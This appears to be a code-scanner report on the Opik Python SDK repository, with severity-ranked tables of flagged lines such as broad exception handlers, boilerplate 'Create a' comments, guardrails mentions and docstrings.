| HIGH | …s/python/src/opik/runner/bridge_handlers/list_files.py | 94 | except OSError: | CODE |
| HIGH | …pik/message_processing/replay/message_serialization.py | 33 | except ValueError: | CODE |
| HIGH | sdks/python/src/opik/cli/migration_manifest.py | 313 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/cli/selector.py | 165 | except ImportError: | CODE |
| HIGH | sdks/python/src/opik/cli/export_manifest.py | 254 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/cli/main.py | 22 | except metadata.PackageNotFoundError: | CODE |
| HIGH | sdks/python/src/opik/cli/imports/utils.py | 343 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/cli/exports/all.py | 239 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/cli/exports/all.py | 246 | except Exception: | CODE |
| HIGH | sdks/python/src/opik/cli/exports/project.py | 75 | except (ValueError, TypeError): | CODE |
| HIGH | sdks/python/src/opik/cli/exports/project.py | 82 | except (ValueError, TypeError): | CODE |
| HIGH | sdks/python/src/opik/cli/migrate/checkpoint.py | 262 | except FileNotFoundError: | CODE |
| 71 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | sdks/python/tests/conftest.py | 118 | # Create an upload manager first | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_export_import_all.py | 1429 | # Create the experiment JSON file the fast path will read from disk. | COMMENT |
| MEDIUM | sdks/python/tests/unit/test_config.py | 48 | # Create a config parser to parse the written content | COMMENT |
| MEDIUM⚡ | sdks/python/tests/unit/test_config.py | 71 | # Create a config parser to parse the written content | COMMENT |
| MEDIUM | …ks/python/tests/unit/decorator/test_tracker_outputs.py | 2597 | # Create a partial function (similar to the user's use case that was crashing) | COMMENT |
| MEDIUM | …ks/python/tests/unit/decorator/test_inspect_helpers.py | 23 | # Create a partial function | COMMENT |
| MEDIUM | …xt_manager/test_distributed_headers_context_manager.py | 178 | # Create a parent trace with a span to get valid IDs | COMMENT |
| MEDIUM | …xt_manager/test_distributed_headers_context_manager.py | 206 | # Create a parent trace to get a valid trace ID | COMMENT |
| MEDIUM | sdks/python/tests/unit/runner/test_file_watcher.py | 38 | # Create a subdir so watchfiles has something to watch without triggering | COMMENT |
| MEDIUM | …ks/python/tests/unit/simulation/test_simulated_user.py | 105 | # Create a long conversation history (15 messages) | COMMENT |
| MEDIUM | …t/message_processing/test_streamer_with_attachments.py | 69 | # Create a span message with potential attachment data but no end_time | COMMENT |
| MEDIUM | …t/message_processing/test_streamer_with_attachments.py | 110 | # Create a trace message with potential attachment data but no end_time | COMMENT |
| MEDIUM | …/tests/unit/message_processing/test_encoder_helpers.py | 245 | # Create an anonymizer that just adds a prefix | COMMENT |
| MEDIUM | …tests/unit/message_processing/test_jsonable_encoder.py | 29 | # Create a simple two-node cycle: A -> B -> A | COMMENT |
| MEDIUM | …ng/processors/test_attachments_extraction_processor.py | 41 | # Create a regular message (not wrapped) | COMMENT |
| MEDIUM | …ng/processors/test_attachments_extraction_processor.py | 75 | # Create an original message with plain text | COMMENT |
| MEDIUM | …ng/processors/test_attachments_extraction_processor.py | 119 | # Create a span message with input containing base64 | COMMENT |
| MEDIUM | …ests/unit/message_processing/replay/test_db_manager.py | 133 | # Create a read-only connection that will fail on CREATE TABLE | COMMENT |
| MEDIUM | sdks/python/tests/unit/cli/test_import_experiment.py | 557 | # Create a 4-level hierarchy: root -> child -> grandchild -> great-grandchild | COMMENT |
| MEDIUM | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 278 | # Create a structure where strings at different depths can be tested | COMMENT |
| MEDIUM | …hon/tests/unit/anonymizer/test_recursive_anonymizer.py | 511 | # Create a structure that tests depth limiting with strings at different levels | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 1206 | # Create a sampler that will reduce to 3 items | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 1299 | # Create a task span metric to force non-streaming mode | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 1397 | # Create a sampler that will further reduce to 3 items | COMMENT |
| MEDIUM | sdks/python/tests/unit/evaluation/test_evaluate.py | 2687 | # Create a real Experiment instance with mocked dependencies | COMMENT |
| MEDIUM | …lm_judges/conversation/user_frustration/test_metric.py | 196 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …lm_judges/conversation/user_frustration/test_metric.py | 218 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …s/conversation/conversational_coherence/test_metric.py | 198 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …s/conversation/conversational_coherence/test_metric.py | 221 | # Create a new metric with include_reason=False | COMMENT |
| MEDIUM | …ests/unit/evaluation/threads/test_evaluation_engine.py | 201 | # Create an engine with multiple workers | COMMENT |
| MEDIUM | …ests/unit/evaluation/threads/test_evaluation_engine.py | 220 | # Create a mock result | COMMENT |
| MEDIUM | …ests/unit/evaluation/threads/test_evaluation_engine.py | 277 | # Create a mock conversation thread | COMMENT |
| MEDIUM⚡ | …ests/unit/evaluation/threads/test_evaluation_engine.py | 385 | # Create a mock thread | COMMENT |
| MEDIUM⚡ | …ests/unit/evaluation/threads/test_evaluation_engine.py | 388 | # Create a mock conversation thread | COMMENT |
| MEDIUM⚡ | …ests/unit/evaluation/threads/test_evaluation_engine.py | 396 | # Create a metric that raises an exception | COMMENT |
| MEDIUM | …/tests/unit/api_objects/dataset/test_dataset_client.py | 188 | # Create an updated version of the item | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 31 | # Create an LM instance to test isinstance check | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 318 | # Create a mock LM instance with history containing an actual provider and cost | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 364 | # Create a mock LM instance where provider matches (direct API, not routed) | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 404 | # Create a mock LM instance where response has no provider attribute | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 503 | # Create a mock LM instance where provider has different casing | COMMENT |
| MEDIUM | …python/tests/library_integration/harbor/test_harbor.py | 211 | # Create an event to pause execution so we can check trace name during execution | COMMENT |
| MEDIUM | …/tests/library_integration/langchain/test_langchain.py | 711 | # Create a chain: tool -> prompt -> llm | COMMENT |
| MEDIUM | …hon/tests/library_integration/bedrock/test_converse.py | 343 | # Define a simple weather tool | COMMENT |
| MEDIUM | …python/tests/library_integration/adk/test_adk_async.py | 291 | # Create a summary agent that will combine the parallel results | COMMENT |
| MEDIUM | …python/tests/library_integration/adk/test_adk_async.py | 313 | # Create a sequential agent that first runs parallel agents, then summarizes | STRING |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 50 | # Create a random start time within the last 24 hours | COMMENT |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 127 | # Create the trace message | COMMENT |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 173 | # Create a random start time within the last 24 hours | COMMENT |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 245 | # Create the span message | COMMENT |
| MEDIUM⚡ | sdks/python/tests/e2e/test_failed_messages_replay.py | 138 | # Create the trace while online so the server record already exists. | COMMENT |
| MEDIUM | sdks/python/tests/e2e/verifiers.py | 725 | # Create a dict of actual scores for easy comparison | COMMENT |
| MEDIUM⚡ | sdks/python/tests/e2e/test_tracing.py | 1465 | # Create a unique metric name to avoid conflicts with other tests | COMMENT |
| MEDIUM⚡ | sdks/python/tests/e2e/test_tracing.py | 1469 | # Create a trace with two spans | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_tracing.py | 1397 | # Create a unique metric name to avoid conflicts with other tests | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 409 | # Create a text prompt | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 428 | # Create a chat prompt | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 494 | # Create a chat prompt | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 775 | # Create a playground chat prompt with the appropriate metadata | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 841 | # Create a playground chat prompt with the appropriate metadata | COMMENT |
| 120 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | .pre-commit-config.yaml | 361 | - id: hadolint-docker | COMMENT |
| LOW | .pre-commit-config.yaml | 381 | hooks: | COMMENT |
| LOW | sdks/python/setup.py | 41 | "click", | COMMENT |
| LOW | sdks/python/design/API_AND_DATA_FLOW.md | 1921 | # If flush() takes too long: | COMMENT |
| LOW | sdks/python/tests/llm_constants.py | 21 | """ | COMMENT |
| LOW | sdks/python/tests/llm_constants.py | 81 | # Mistral AI | COMMENT |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 321 | COMMENT | |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 1521 | target_project_name="DestProject", | COMMENT |
| LOW | …s/unit/cli/test_migrate_dataset_experiments_cascade.py | 1701 | COMMENT | |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 721 | # clear flag. apply_dataset_item_changes called twice; v2 is the | COMMENT |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 841 | "tgt-dupe-1", | COMMENT |
| LOW | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 941 | } | COMMENT |
| LOW | …tests/unit/evaluation/metrics/test_prompt_injection.py | 481 | COMMENT | |
| LOW | …ython/tests/unit/evaluation/metrics/test_heuristics.py | 1281 | "candidate,reference,expected_min,expected_max", | COMMENT |
| LOW | …ython/tests/unit/evaluation/metrics/test_heuristics.py | 1321 | # Calculates rouge scores between targets and prediction. | COMMENT |
| LOW | …hon/tests/library_integration/bedrock/test_converse.py | 241 | BEDROCK_MODEL_FOR_TESTS, | COMMENT |
| LOW | …tion/metrics_with_llm_judge/test_evaluation_metrics.py | 21 | # the LangchainChatModel bridge — it exercises the most prompt surface | COMMENT |
| LOW | …ry_integration/metrics_with_llm_judge/requirements.txt | 1 | openai | COMMENT |
| LOW | …integration/metrics_with_llm_judge/agentic/conftest.py | 21 | import pytest | COMMENT |
| LOW | …integration/metrics_with_llm_judge/agentic/conftest.py | 41 | # model string as the native row, but routed through the LiteLLM | COMMENT |
| LOW | sdks/python/src/opik/json_helpers.py | 21 | try: | COMMENT |
| LOW | sdks/python/src/opik/llm_usage/opik_usage.py | 121 | candidates_token_count = provider_usage.candidates_token_count or 0 | COMMENT |
| LOW | sdks/python/src/opik/api_key/opik_api_key.py | 1 | # -*- coding: utf-8 -*- | COMMENT |
| LOW | sdks/python/src/opik/api_key/__init__.py | 1 | # -*- coding: utf-8 -*- | COMMENT |
| LOW | sdks/python/src/opik/api_key/base64_helper.py | 1 | # -*- coding: utf-8 -*- | COMMENT |
| LOW | …ks/python/src/opik/message_processing/message_queue.py | 41 | # grew — otherwise the displaced message's task carries over. | COMMENT |
| LOW | sdks/python/src/opik/cli/configure.py | 601 | mcp_redirected=progress.redirect_to_mcp, | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 501 | # Migrate path forwards fidelity fields (evaluation_method, tags, | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/experiment.py | 621 | # Create experiment item with mapped IDs. Only the four FK | COMMENT |
| LOW | sdks/python/src/opik/cli/imports/utils.py | 461 | # 1. Pass the fields directly to client.trace(), client.span(), and | COMMENT |
| LOW | sdks/python/src/opik/cli/exports/__init__.py | 81 | ctx.obj["project_name"] = project | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/planner.py | 41 | # parameter. | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/planner.py | 341 | COMMENT | |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 81 | # ``datasets/_progress.py`` for the single source of truth. Re-exported | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 141 | # Per-request page size for the cascade's bulk trace/span reads. The SDK | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 501 | # multiple assertion results across items, though the typical 1:1 | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 921 | COMMENT | |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 941 | # outer SQL clamps ``project_id = :project_id`` -- so the filter is | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 1101 | # so no additional source-side fetch. Comments are READ_ONLY on the | COMMENT |
| LOW | …ks/python/src/opik/cli/migrate/datasets/experiments.py | 1521 | # Narrow the time window to just THIS project's traces -- shrinks | COMMENT |
| LOW | …python/src/opik/cli/migrate/datasets/version_replay.py | 421 | # execution_policy, user version tags, metadata), apply them as a | COMMENT |
| LOW | …python/src/opik/cli/migrate/datasets/version_replay.py | 901 | ) | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/_progress.py | 21 | # item (version, optimization, experiment). ``completed`` is the count | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/executor.py | 81 | client: opik.Opik, | COMMENT |
| LOW | sdks/python/src/opik/cli/migrate/datasets/executor.py | 481 | ) | COMMENT |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 21 | LOGGER = logging.getLogger(__name__) | COMMENT |
| LOW | …ython/src/opik/integrations/crewai/crewai_decorator.py | 41 | # "verbose", | COMMENT |
| LOW | …/python/src/opik/integrations/langchain/opik_tracer.py | 101 | # LangGraph node found an empty context, opened its own root trace, and silently | COMMENT |
| LOW | sdks/python/src/opik/integrations/adk/opik_tracer.py | 361 | # Recorded early so the finally can clean up TTFT on any exit path. | COMMENT |
| LOW | sdks/python/src/opik/integrations/adk/opik_tracer.py | 381 | if current_span is None: | COMMENT |
| LOW | …/python/src/opik/integrations/adk/pending_llm_spans.py | 1 | from typing import Any, Optional, Tuple | COMMENT |
| LOW | …/python/src/opik/integrations/adk/pending_llm_spans.py | 21 | # | COMMENT |
| LOW | …s/adk/patchers/adk_otel_tracer/opik_adk_otel_tracer.py | 201 | finally: | COMMENT |
| LOW | sdks/python/src/opik/evaluation/evaluator.py | 741 | COMMENT | |
| LOW | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 141 | self.emulator.parent_span_ids_for_trace(trace_id).get(span.id) | COMMENT |
| LOW | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 161 | # an assertion of the form "the agent processed a payload containing | COMMENT |
| LOW | …evaluators/agentic/compression/span_tree_serializer.py | 21 | # `len(text) <= limit`, so `sys.maxsize` falls through unchanged without | COMMENT |
| LOW | sdks/python/src/opik/evaluation/metrics/ragas_metric.py | 101 | # Solution: Disable context modification (opik_context_read_only_mode=True). | COMMENT |
| LOW | …rc/opik/evaluation/models/anthropic/message_adapter.py | 21 | # see `LiteLLMChatModel._remove_unnecessary_not_supported_params`). The | COMMENT |
| LOW | …c/opik/evaluation/models/litellm/litellm_chat_model.py | 201 | ) | COMMENT |
| 516 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM⚡ | readme_JA.md | 224 | # 任意のプロファイルで guardrails を有効化 | COMMENT |
| MEDIUM⚡ | readme_JA.md | 225 | ./opik.sh --guardrails # Opik スイート全体と guardrails | CODE |
| MEDIUM⚡ | readme_JA.md | 226 | ./opik.sh --backend --guardrails # インフラ + バックエンドと guardrails | CODE |
| MEDIUM | readme_JA.md | 314 | | Guardrails | Guardrails AI の検証のトレースを記録 | [ドキュメント](https://www.comet.com/docs/opik/integrations/guardrails-ai?utm_sourc | CODE |
| MEDIUM⚡ | .pre-commit-config.yaml | 188 | # Guardrails backend (apps/opik-guardrails-backend) | COMMENT |
| MEDIUM | README.md | 224 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | README.md | 314 | | Guardrails | Log traces for Guardrails AI validations | [Documentation](https://www.comet.co | CODE |
| MEDIUM | readme_CN.md | 226 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_CN.md | 315 | | Guardrails | 记录 Guardrails AI 校验的追踪 | [文档](https://www.comet.com/docs/opik/integrations/guar | CODE |
| MEDIUM | readme_ES.md | 225 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_ES.md | 314 | | Guardrails | Registra trazas para validaciones de Guardrails AI | [Documentación](https://ww | CODE |
| MEDIUM | readme_FR.md | 226 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_FR.md | 315 | | Guardrails | Journalise les traces des validations Guardrails AI | [Documentation](https://www.comet.com | CODE |
| MEDIUM | readme_DE.md | 226 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_DE.md | 315 | | Guardrails | Traces für Guardrails-AI-Validierungen protokollieren | [Dokumentation](https:/ | CODE |
| MEDIUM | opik.sh | 19 | # Single source of truth for the guardrails mode (gpu vs cpu) -> compose profile, | COMMENT |
| MEDIUM | opik.sh | 49 | # Add guardrails containers if enabled | COMMENT |
| MEDIUM | opik.sh | 252 | # Always add guardrails profile if enabled | COMMENT |
| MEDIUM | opik.sh | 480 | # Width fits the longest container name (guardrails-backend-cpu-1, 24 chars). Strip the compose | COMMENT |
| MEDIUM | opik.sh | 721 | # Default: no guardrails | COMMENT |
| MEDIUM | opik.sh | 723 | # Guardrails device mode when enabled: gpu (default, via --guardrails) or cpu (--guardrails-cpu) | COMMENT |
| MEDIUM | opik.sh | 785 | # Check for guardrails flags. --guardrails-cpu must be handled before --guardrails | COMMENT |
| MEDIUM | …s/python/tests/unit/guardrails/test_rest_api_client.py | 32 | httpx_client=httpx_client, host_url="http://guardrails/" | CODE |
| MEDIUM | …s/python/tests/unit/guardrails/test_rest_api_client.py | 38 | # The guardrails backend cannot read a gzipped body. | COMMENT |
| MEDIUM | …s/python/tests/unit/guardrails/test_custom_training.py | 34 | guardrails_backend_host="http://guardrails/", | CODE |
| MEDIUM⚡ | …s/python/tests/unit/evaluation/test_error_tolerance.py | 376 | # Same marker the rest of the engine uses; the agentic judge prunes the trace by it. | COMMENT |
| MEDIUM | …e_evaluators/agentic/test_suite_llm_judge_branching.py | 60 | # agentic. No explicit `scoring_tool_strategy=` — exercising the | COMMENT |
| MEDIUM | …t/evaluation/metrics/llm_judges/test_seed_parameter.py | 179 | # GEval calls generate_chat_completion multiple times (chain of thought + evaluation) | COMMENT |
| MEDIUM | …llm_judges/test_context_metric_sut_output_isolation.py | 4 | #8195 covered for hallucination and g_eval only. The values a run is scored on | STRING |
| MEDIUM | …ests/unit/evaluation/models/test_litellm_chat_model.py | 437 | # Per-call temperature=0 (the agentic judge loop's hardcoded pin) | COMMENT |
| MEDIUM | …ts/unit/evaluation/models/test_anthropic_chat_model.py | 555 | # End-to-end: a typical agentic-loop history with one | COMMENT |
| MEDIUM | …/tests/library_integration/guardrails/requirements.txt | 1 | setuptools # required by guardrails hub | CODE |
| MEDIUM | …ests/library_integration/guardrails/test_guardrails.py | 36 | ) # Both the guardrails pass | CODE |
| MEDIUM⚡ | …ary_integration/langchain/test_langgraph_supervisor.py | 114 | # The supervisor/multi-agent graph produces three top-level spans: | COMMENT |
| MEDIUM | …integration/metrics_with_llm_judge/agentic/conftest.py | 37 | # the agentic path Haiku sometimes wrapped the verdict in a ```json | COMMENT |
| MEDIUM | …n/metrics_with_llm_judge/agentic/test_agentic_judge.py | 98 | # agentic and the only ones the mocked unit suite cannot stand in for. | COMMENT |
| MEDIUM | …n/metrics_with_llm_judge/agentic/test_agentic_judge.py | 252 | # Direct evidence of the agentic loop engaged. We don't pin the | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_guardrails.py | 61 | # Check trace guardrails validations | COMMENT |
| MEDIUM | …ks/python/src/opik/llm_usage/openai_responses_usage.py | 84 | # and context window limits. | COMMENT |
| MEDIUM | sdks/python/src/opik/guardrails/stored_policies.py | 101 | # Not skipped: guardrails fail closed, and a check that cannot run must not silently | COMMENT |
| MEDIUM | sdks/python/src/opik/guardrails/rest_api_client.py | 18 | # The guardrails backend does not decompress gzipped request bodies. | COMMENT |
| MEDIUM | sdks/python/src/opik/guardrails/guards/guard.py | 11 | # guardrails backend (False). | COMMENT |
| MEDIUM | …/python/src/opik/integrations/langchain/opik_tracer.py | 84 | # Constant for LangGraph ParentCommand (multi-agent control flow routing) | COMMENT |
| MEDIUM | …/python/src/opik/integrations/langchain/opik_tracer.py | 252 | # ParentCommand is not an error - it's multi-agent routing in LangGraph | COMMENT |
| MEDIUM | …/python/src/opik/integrations/langchain/opik_tracer.py | 751 | # ParentCommand is not an error - it's multi-agent routing in LangGraph | COMMENT |
| MEDIUM | …src/opik/integrations/ollama/chat_chunks_aggregator.py | 35 | # Ollama streams a reasoning model's chain of thought in its own | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/evaluator.py | 745 | # access to the full trace tree via the agentic tool loop. The emulator | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/evaluator.py | 765 | # exit deactivating it and starving the others' agentic judges). | COMMENT |
| MEDIUM | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 151 | # of its own scoring/metrics plumbing. The agentic judge has no business | COMMENT |
| MEDIUM | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 261 | # direction is engine → agentic, not the reverse). | COMMENT |
| MEDIUM | …c/opik/evaluation/suite_evaluators/llm_judge/metric.py | 158 | >>> # Force the agentic tool loop whenever a trace context is supplied. | STRING |
| MEDIUM | …c/opik/evaluation/suite_evaluators/llm_judge/metric.py | 341 | # Import lazily so the agentic dependencies (tool registry, loop, | COMMENT |
| MEDIUM | …uation/suite_evaluators/llm_judge/strategy_selector.py | 58 | # Default headroom: reserve half the context window for the model's own | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/message_adapter.py | 33 | # `suite_evaluators/agentic/loop.py` for why this hasn't surfaced via | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/message_adapter.py | 34 | # the agentic judge (the loop pins `temperature=0`, which forces both | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/message_adapter.py | 255 | # agentic loop emits OpenAI-style values because that's the dominant | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/response_parser.py | 66 | # as a tool call so the agentic loop can execute it. Otherwise | COMMENT |
| MEDIUM | …ik/evaluation/models/anthropic/anthropic_chat_model.py | 233 | # Anthropic object form — the agentic loop emits the OpenAI | COMMENT |
| MEDIUM | …c/opik/evaluation/models/litellm/litellm_chat_model.py | 194 | # callers (e.g. the agentic judge) that pass `seed` for | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/threads/evaluator.py | 122 | >>> # Evaluating a RAG agent: ConversationalCoherenceMetric additionally checks | STRING |
| 113 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | sdks/python/src/opik/opik_context.py | 226 | Provides a context manager to handle trace data within an execution context. This function sets up trace data | STRING |
| HIGH | sdks/python/src/opik/guardrails/custom_training.py | 24 | Train a custom binary guardrail on the guardrails server and make it available to the :class:`~opik.guardrails. | STRING |
| HIGH | sdks/python/src/opik/guardrails/guardrail.py | 90 | Build a Guardrail from guardrail policies stored in your Opik workspace. A policy is a named group of | STRING |
| HIGH | sdks/python/src/opik/guardrails/guardrail.py | 157 | Validate text against all configured guardrails. Args: text: Text to validate Ret | STRING |
| HIGH | sdks/python/src/opik/decorator/base_track_decorator.py | 741 | Handles the creation and registration of a new start span and trace while respecting the tracing context based | STRING |
| HIGH | …age_processing/emulation/emulator_message_processor.py | 454 | Creates a trace model with the specified attributes. The method is abstract and must be implemented in | STRING |
| HIGH | …age_processing/emulation/emulator_message_processor.py | 512 | Abstract method to create a span model representing a span of a trace. This method is intended to facil | STRING |
| HIGH | …age_processing/emulation/emulator_message_processor.py | 555 | Creates a feedback score model with the specified parameters. The method is abstract and must be imple | STRING |
| HIGH | …ython/src/opik/message_processing/replay/db_manager.py | 720 | Converts a database message object to a corresponding application message object. This function maps a databas | STRING |
| HIGH | …rock/invoke_model/chunks_aggregator/format_detector.py | 107 | Get aggregator for the specified format. Args: format_name: Name of the format Returns: C | STRING |
| HIGH | sdks/python/src/opik/anonymizer/factory.py | 19 | Create an anonymizer with the specified rules. Args: anonymizer_rules: Anonymizer rules specification in va | STRING |
| HIGH | sdks/python/src/opik/evaluation/evaluator.py | 1521 | Resume an interrupted ``evaluate()`` run. Reads the resume state embedded in the existing experiment (dataset | STRING |
| HIGH | …on/src/opik/evaluation/metrics/heuristics/sentiment.py | 68 | Analyze the sentiment of the provided text. Args: output: The text to analyze for sentimen | STRING |
| HIGH | …c/opik/evaluation/metrics/heuristics/_vader_lexicon.py | 50 | Build a VADER analyzer, fetching its lexicon if needed. ``SentimentIntensityAnalyzer()`` reads the ``vader_lexicon` | STRING |
| HIGH | …/python/src/opik/evaluation/metrics/heuristics/bleu.py | 150 | Calculate sentence-level BLEU for one candidate vs. one or more references. Args: output: | STRING |
| HIGH | …/python/src/opik/evaluation/metrics/heuristics/bleu.py | 262 | Calculate corpus-level BLEU for multiple candidates. Args: output: A list of candidate str | STRING |
| HIGH | …python/src/opik/evaluation/metrics/heuristics/rouge.py | 77 | Compute the ROUGE score based on the given rouge_type between the output and reference strings. Args: | STRING |
| HIGH | …hon/src/opik/evaluation/metrics/heuristics/contains.py | 75 | Calculate the score based on whether the reference string is contained in the output string. Args: | STRING |
| HIGH | …pik/evaluation/metrics/heuristics/levenshtein_ratio.py | 51 | Calculate the Levenshtein ratio between the output and reference strings. Args: output: Th | STRING |
| HIGH | …/src/opik/evaluation/metrics/heuristics/regex_match.py | 50 | Calculate the score based on whether the output string matches the regex pattern. Args: ou | STRING |
| HIGH | …trics/llm_judges/structure_output_compliance/parser.py | 10 | Parses the LLM output for the StructuredOutputCompliance metric. Expected LLM output format: { | STRING |
| HIGH | …on/src/opik/evaluation/metrics/conversation/helpers.py | 52 | Extracts a list of conversation windows based on turns using a sliding window approach. This function divides a | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 195 | Provides a context manager for getting and managing the response from a model provider. Ensures that errors dur | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 231 | Asynchronous context manager for getting a response from a model provider. This function asynchronously intera | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 268 | Checks the output of a model and verifies that it is not None. This function ensures that the output returned | STRING |
| HIGH | …opik/evaluation/models/langchain/message_converters.py | 21 | Convert OpenAI-style chat messages to LangChain's primitives. Args: messages: Iterable of message dictionar | STRING |
| HIGH | sdks/python/src/opik/evaluation/threads/evaluator.py | 27 | Evaluate conversation threads using specified metrics. This function evaluates conversation threads from a project | STRING |
| HIGH | …n/src/opik/evaluation/samplers/base_dataset_sampler.py | 26 | Samples and filters a list of dataset items according to a specific implementation. Args: | STRING |
| HIGH | sdks/python/src/opik/api_objects/rest_helpers.py | 35 | Execute a REST API call with automatic retry on rate limit (429) errors. This function handles HTTP 429 rate l | STRING |
| HIGH | sdks/python/src/opik/api_objects/rest_helpers.py | 91 | Resolve a project name to its project ID. Args: rest_client: The REST API client instance. pro | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 1008 | Search for threads in a given project based on specific criteria. Args: project_name: The name of t | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 1623 | Get an existing test suite by name. Retrieves the dataset and its version-level assertions and executi | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2195 | Search for traces in the given project. Optionally, you can wait for at least a certain number of traces | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2313 | Search for spans in the given trace. This allows you to search spans based on the span input, output, m | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2594 | Creates a new text prompt with the given name and template. If a text prompt with the same name already | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2646 | Creates a new chat prompt with the given name and message templates. If a chat prompt with the same nam | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2701 | Retrieve a text prompt by name, optionally targeting a specific ``version``. This method only returns | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2753 | Retrieve a chat prompt by name, optionally targeting a specific ``version``. This method only returns | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2873 | Retrieve all text prompt versions history for a given prompt name. Parameters: name: The n | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2975 | Retrieve all chat prompt versions history for a given prompt name. Parameters: name: The n | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 3099 | Retrieve the latest prompt versions (both string and chat prompts) for the given search parameters. Pa | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 3365 | Get a traces annotation queue by its ID. Args: queue_id: The ID of the annotation queue. | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 3384 | Get a threads annotation queue by its ID. Args: queue_id: The ID of the annotation queue. | STRING |
| HIGH | sdks/python/src/opik/api_objects/trace/trace_client.py | 288 | Update an existing trace with new information. This function sends an UpdateTraceMessage to the provided messag | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/validators.py | 38 | Resolve assertions shorthand and/or evaluators into a list of LLMJudge instances. Args: assertions: Li | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/dataset.py | 136 | Retrieve dataset items as a list of dictionaries. Args: nb_samples: Maximum number of item | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/dataset.py | 202 | Read dataset items in chunks, fetching the chunks concurrently. The chunked counterpart to :meth:`get_ | STRING |
